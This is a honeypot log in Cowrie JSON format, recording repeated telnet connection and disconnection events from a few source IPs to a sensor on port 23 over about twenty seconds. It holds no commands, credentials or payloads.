{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":50692,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f30ab964ac1","protocol":"telnet","message":"New connection: 64.227.9.242:50692 (159.203.135.109:23) [session: 6f30ab964ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:13.629390Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33812,"dst_ip":"10.17.0.5","dst_port":23,"session":"305c83839e30","protocol":"telnet","message":"New connection: 104.167.8.156:33812 (10.17.0.5:23) [session: 305c83839e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:14.131856Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46114,"dst_ip":"10.17.0.5","dst_port":23,"session":"66f03dc20288","protocol":"telnet","message":"New connection: 108.61.251.217:46114 (10.17.0.5:23) [session: 66f03dc20288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:14.589326Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46124,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d402f160c0d","protocol":"telnet","message":"New connection: 108.61.251.217:46124 (10.17.0.5:23) [session: 7d402f160c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:14.601825Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60554,"dst_ip":"10.17.0.5","dst_port":23,"session":"320d2f86b7f4","protocol":"telnet","message":"New connection: 104.167.8.156:60554 (10.17.0.5:23) [session: 320d2f86b7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:14.633224Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35844,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4bf09f9f84c","protocol":"telnet","message":"New connection: 104.167.8.156:35844 (10.17.0.5:23) [session: d4bf09f9f84c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:14.683902Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46134,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb53ed2496cd","protocol":"telnet","message":"New connection: 108.61.251.217:46134 (10.17.0.5:23) [session: eb53ed2496cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:14.798239Z"}
{"eventid":"cowrie.session.closed","duration":31.308695316314697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:15.242055Z","src_ip":"108.61.251.217","session":"33252700abd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38002,"dst_ip":"10.17.0.5","dst_port":23,"session":"331b210481bc","protocol":"telnet","message":"New connection: 104.167.8.156:38002 (10.17.0.5:23) [session: 331b210481bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:15.330091Z"}
{"eventid":"cowrie.session.closed","duration":30.44818639755249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:16.024826Z","src_ip":"104.167.8.156","session":"36b80adebdd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47876,"dst_ip":"10.17.0.5","dst_port":23,"session":"111fcbd5bbd3","protocol":"telnet","message":"New connection: 108.61.251.217:47876 (10.17.0.5:23) [session: 111fcbd5bbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:16.906975Z"}
{"eventid":"cowrie.session.closed","duration":30.51145076751709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:17.131303Z","src_ip":"104.167.8.156","session":"7d461a442973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42276,"dst_ip":"10.17.0.5","dst_port":23,"session":"f89630f23e88","protocol":"telnet","message":"New connection: 104.167.8.156:42276 (10.17.0.5:23) [session: f89630f23e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:17.569266Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47880,"dst_ip":"10.17.0.5","dst_port":23,"session":"454bca1741aa","protocol":"telnet","message":"New connection: 108.61.251.217:47880 (10.17.0.5:23) [session: 454bca1741aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:17.991971Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44004,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6d297901581","protocol":"telnet","message":"New connection: 104.167.8.156:44004 (10.17.0.5:23) [session: d6d297901581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:18.069036Z"}
{"eventid":"cowrie.session.closed","duration":30.304376125335693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:18.075856Z","src_ip":"104.167.8.156","session":"43fc39f6f551","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47890,"dst_ip":"10.17.0.5","dst_port":23,"session":"a83205e9ddb9","protocol":"telnet","message":"New connection: 108.61.251.217:47890 (10.17.0.5:23) [session: a83205e9ddb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:18.110543Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48826,"dst_ip":"10.17.0.5","dst_port":23,"session":"8175349e4621","protocol":"telnet","message":"New connection: 104.167.8.156:48826 (10.17.0.5:23) [session: 8175349e4621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:18.522030Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38820,"dst_ip":"10.17.0.5","dst_port":23,"session":"680df28e6801","protocol":"telnet","message":"New connection: 104.167.8.156:38820 (10.17.0.5:23) [session: 680df28e6801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:18.592959Z"}
{"eventid":"cowrie.session.closed","duration":30.934420347213745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:18.739956Z","src_ip":"104.167.8.156","session":"622f07512d08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84643054008484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:19.112667Z","src_ip":"104.167.8.156","session":"36e0112bbde9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950555086135864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:19.139765Z","src_ip":"104.167.8.156","session":"f77eba310008","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50666,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c846dbefff4","protocol":"telnet","message":"New connection: 104.167.8.156:50666 (10.17.0.5:23) [session: 4c846dbefff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:19.158085Z"}
{"eventid":"cowrie.session.closed","duration":30.974294424057007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:19.193069Z","src_ip":"104.167.8.156","session":"9f9b09df8ea9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41432,"dst_ip":"10.17.0.5","dst_port":23,"session":"be91b5af68ba","protocol":"telnet","message":"New connection: 104.167.8.156:41432 (10.17.0.5:23) [session: be91b5af68ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:19.368683Z"}
{"eventid":"cowrie.session.closed","duration":31.460927486419678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:19.431622Z","src_ip":"108.61.251.217","session":"31ce8ef6744c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180363416671753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:19.501674Z","src_ip":"104.167.8.156","session":"d4615e42496c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03673005104065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:19.745268Z","src_ip":"104.167.8.156","session":"e082d0037376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.512447595596313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:19.986890Z","src_ip":"104.167.8.156","session":"15641cadd6d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54386,"dst_ip":"10.17.0.5","dst_port":23,"session":"e153717b849a","protocol":"telnet","message":"New connection: 104.167.8.156:54386 (10.17.0.5:23) [session: e153717b849a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:20.244242Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54470,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7fc2d93b18d","protocol":"telnet","message":"New connection: 104.167.8.156:54470 (10.17.0.5:23) [session: c7fc2d93b18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:20.272184Z"}
{"eventid":"cowrie.session.closed","duration":31.009134531021118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:20.352707Z","src_ip":"104.167.8.156","session":"56339e79121b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508525371551514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:20.421960Z","src_ip":"104.167.8.156","session":"7afe9bd4e80c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.714319705963135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:20.465229Z","src_ip":"108.61.251.217","session":"5507c4f1fdf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47900,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce8220609529","protocol":"telnet","message":"New connection: 108.61.251.217:47900 (10.17.0.5:23) [session: ce8220609529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:20.643592Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34162,"dst_ip":"10.17.0.5","dst_port":23,"session":"130e7b706aff","protocol":"telnet","message":"New connection: 104.167.8.156:34162 (10.17.0.5:23) [session: 130e7b706aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:22.652485Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47910,"dst_ip":"10.17.0.5","dst_port":23,"session":"37aeabb02e20","protocol":"telnet","message":"New connection: 108.61.251.217:47910 (10.17.0.5:23) [session: 37aeabb02e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:22.913735Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53548,"dst_ip":"10.17.0.5","dst_port":23,"session":"108d18aa00f1","protocol":"telnet","message":"New connection: 104.167.8.156:53548 (10.17.0.5:23) [session: 108d18aa00f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:22.998358Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47918,"dst_ip":"10.17.0.5","dst_port":23,"session":"87b75b5f4a15","protocol":"telnet","message":"New connection: 108.61.251.217:47918 (10.17.0.5:23) [session: 87b75b5f4a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:23.050892Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35818,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3888c620aa5","protocol":"telnet","message":"New connection: 104.167.8.156:35818 (10.17.0.5:23) [session: e3888c620aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:23.131303Z"}
{"eventid":"cowrie.session.closed","duration":30.735952377319336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:23.635942Z","src_ip":"104.167.8.156","session":"5237240476d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47920,"dst_ip":"10.17.0.5","dst_port":23,"session":"98dcb17f0e88","protocol":"telnet","message":"New connection: 108.61.251.217:47920 (10.17.0.5:23) [session: 98dcb17f0e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:23.843303Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58626,"dst_ip":"10.17.0.5","dst_port":23,"session":"76fb20db6ddb","protocol":"telnet","message":"New connection: 188.208.141.113:58626 (10.17.0.5:23) [session: 76fb20db6ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:23.879679Z"}
{"eventid":"cowrie.session.closed","duration":36.3532829284668,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:24.459420Z","src_ip":"188.208.141.113","session":"8409079a19e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47922,"dst_ip":"10.17.0.5","dst_port":23,"session":"020c657fcc3a","protocol":"telnet","message":"New connection: 108.61.251.217:47922 (10.17.0.5:23) [session: 020c657fcc3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:24.660029Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47928,"dst_ip":"10.17.0.5","dst_port":23,"session":"d613a0d3571c","protocol":"telnet","message":"New connection: 108.61.251.217:47928 (10.17.0.5:23) [session: d613a0d3571c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:24.828115Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38266,"dst_ip":"10.17.0.5","dst_port":23,"session":"b40b88fccb19","protocol":"telnet","message":"New connection: 104.167.8.156:38266 (10.17.0.5:23) [session: b40b88fccb19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:24.893764Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58632,"dst_ip":"10.17.0.5","dst_port":23,"session":"aecfa92f3c4e","protocol":"telnet","message":"New connection: 188.208.141.113:58632 (10.17.0.5:23) [session: aecfa92f3c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:24.899206Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42120,"dst_ip":"10.17.0.5","dst_port":23,"session":"380af1e85895","protocol":"telnet","message":"New connection: 104.167.8.156:42120 (10.17.0.5:23) [session: 380af1e85895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:25.032044Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58638,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9180b7957d0","protocol":"telnet","message":"New connection: 188.208.141.113:58638 (10.17.0.5:23) [session: d9180b7957d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:25.546843Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40906,"dst_ip":"10.17.0.5","dst_port":23,"session":"6383c94ad2bf","protocol":"telnet","message":"New connection: 104.167.8.156:40906 (10.17.0.5:23) [session: 6383c94ad2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:25.644868Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41910,"dst_ip":"10.17.0.5","dst_port":23,"session":"3beb7f267fe1","protocol":"telnet","message":"New connection: 104.167.8.156:41910 (10.17.0.5:23) [session: 3beb7f267fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:25.971409Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47022,"dst_ip":"10.17.0.5","dst_port":23,"session":"859047a5d0b7","protocol":"telnet","message":"New connection: 108.61.251.217:47022 (10.17.0.5:23) [session: 859047a5d0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:27.438390Z"}
{"eventid":"cowrie.session.closed","duration":31.51186513900757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:27.752350Z","src_ip":"108.61.251.217","session":"23bf484ea1ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50844,"dst_ip":"10.17.0.5","dst_port":23,"session":"8328264c5540","protocol":"telnet","message":"New connection: 104.167.8.156:50844 (10.17.0.5:23) [session: 8328264c5540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:27.904757Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47952,"dst_ip":"10.17.0.5","dst_port":23,"session":"bad8f580f5fb","protocol":"telnet","message":"New connection: 104.167.8.156:47952 (10.17.0.5:23) [session: bad8f580f5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:28.023846Z"}
{"eventid":"cowrie.session.closed","duration":30.957544803619385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:28.132102Z","src_ip":"108.61.251.217","session":"982970bfcdb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47036,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21fadbf4075","protocol":"telnet","message":"New connection: 108.61.251.217:47036 (10.17.0.5:23) [session: e21fadbf4075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:28.162896Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52800,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fff98281d91","protocol":"telnet","message":"New connection: 104.167.8.156:52800 (10.17.0.5:23) [session: 3fff98281d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:28.461573Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47044,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d61c90858f3","protocol":"telnet","message":"New connection: 108.61.251.217:47044 (10.17.0.5:23) [session: 9d61c90858f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:28.574361Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47060,"dst_ip":"10.17.0.5","dst_port":23,"session":"173560378562","protocol":"telnet","message":"New connection: 108.61.251.217:47060 (10.17.0.5:23) [session: 173560378562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:28.585943Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55780,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9b3ccafd09c","protocol":"telnet","message":"New connection: 104.167.8.156:55780 (10.17.0.5:23) [session: d9b3ccafd09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:29.345430Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57490,"dst_ip":"10.17.0.5","dst_port":23,"session":"b25137c5d0d6","protocol":"telnet","message":"New connection: 104.167.8.156:57490 (10.17.0.5:23) [session: b25137c5d0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:29.866232Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48178,"dst_ip":"10.17.0.5","dst_port":23,"session":"26a002e789f7","protocol":"telnet","message":"New connection: 104.167.8.156:48178 (10.17.0.5:23) [session: 26a002e789f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:30.105171Z"}
{"eventid":"cowrie.session.closed","duration":30.31450605392456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:30.239654Z","src_ip":"104.167.8.156","session":"ed9b37c75a11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47066,"dst_ip":"10.17.0.5","dst_port":23,"session":"9575648cd307","protocol":"telnet","message":"New connection: 108.61.251.217:47066 (10.17.0.5:23) [session: 9575648cd307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:30.540397Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47076,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a0805a06a2e","protocol":"telnet","message":"New connection: 108.61.251.217:47076 (10.17.0.5:23) [session: 6a0805a06a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:30.611528Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58334,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8c62787cd87","protocol":"telnet","message":"New connection: 104.167.8.156:58334 (10.17.0.5:23) [session: b8c62787cd87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:31.112543Z"}
{"eventid":"cowrie.session.closed","duration":30.827608346939087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:31.282822Z","src_ip":"104.167.8.156","session":"38d11e75f866","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934659957885742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:31.493668Z","src_ip":"104.167.8.156","session":"a4fb71e1e7ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46590232849121,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:31.600604Z","src_ip":"108.61.251.217","session":"94a10d3f8f7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35466,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d0f19a4ed18","protocol":"telnet","message":"New connection: 104.167.8.156:35466 (10.17.0.5:23) [session: 3d0f19a4ed18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:31.619453Z"}
{"eventid":"cowrie.session.closed","duration":31.67427968978882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:31.763086Z","src_ip":"104.167.8.156","session":"e247262d1bba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60504,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c86df13dad8","protocol":"telnet","message":"New connection: 104.167.8.156:60504 (10.17.0.5:23) [session: 4c86df13dad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:31.800604Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":32998,"dst_ip":"10.17.0.5","dst_port":23,"session":"db529d35130e","protocol":"telnet","message":"New connection: 104.167.8.156:32998 (10.17.0.5:23) [session: db529d35130e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:32.006729Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36826,"dst_ip":"10.17.0.5","dst_port":23,"session":"045f2fe1a9d1","protocol":"telnet","message":"New connection: 104.167.8.156:36826 (10.17.0.5:23) [session: 045f2fe1a9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:32.134307Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34040,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6021ea04184","protocol":"telnet","message":"New connection: 104.167.8.156:34040 (10.17.0.5:23) [session: f6021ea04184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:32.259317Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38202,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eea56b8ab9d","protocol":"telnet","message":"New connection: 104.167.8.156:38202 (10.17.0.5:23) [session: 5eea56b8ab9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:32.517447Z"}
